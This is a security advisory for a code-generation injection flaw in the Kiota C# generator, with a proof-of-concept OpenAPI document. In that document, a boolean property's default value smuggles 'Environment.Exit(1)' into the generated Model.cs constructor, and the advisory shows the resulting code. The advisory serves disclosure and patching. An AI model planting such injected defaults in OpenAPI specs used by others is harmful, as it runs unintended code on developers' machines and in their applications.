Kiota C# generator - Code generation injection via malicious OpenAPI document
Description
The Kiota code generator is susceptible to a code generation injection vulnerability. This issue arises when an attacker crafts a malicious OpenAPI document that embeds arbitrary code, which is then executed during the code generation process. The vulnerability specifically affects the Kiota code generator and can lead to the execution of unintended commands, such as terminating the application.
Details
The Kiota code generator is vulnerable to a code generation injection attack. With a carefully crafted OpenAPI document, an attacker can embed arbitrary code. By setting up the default boolean or numeric value to anything else plus the expected value, it would let the user execute code when calling the property affected by the code injection. This was caused by missing validation in src/Kiota.Builder/**/**/CodeMethodWriter.cs.
The fix adds validation that prevents anything that's not the expected values to be part of the generated code. Scrubbing off anything that's not the expected value.
Proof of concept
Use the following OpenAPI document
{
"openapi": "3.2.0",
"info": {
"title": "Sample",
"version": "1.0.0"
},
"paths": {
"/api": {
"post": {
"tags": [
"Sample"
],
"requestBody": {
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/Model"
}
}
}
},
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/Model"
}
}
}
}
}
}
}
},
"components": {
"schemas": {
"Model": {
"type": "object",
"properties": {
"MyProperty": {
"type": "boolean",
"default": "'false; Environment.Exit(1)'"
}
}
}
}
},
"tags": [
{
"name": "Sample"
}
]
}Run kiota generate -d openapi.json --language csharp, and look at Model.cs,
public Model()
{
AdditionalData = new Dictionary<string, object>();
MyProperty = false; Environment.Exit(1);
}Impact
If users use third party OpenApi document or a compromised OpenApi document, using kiota <1.36.0 they could get impacted by this code injection.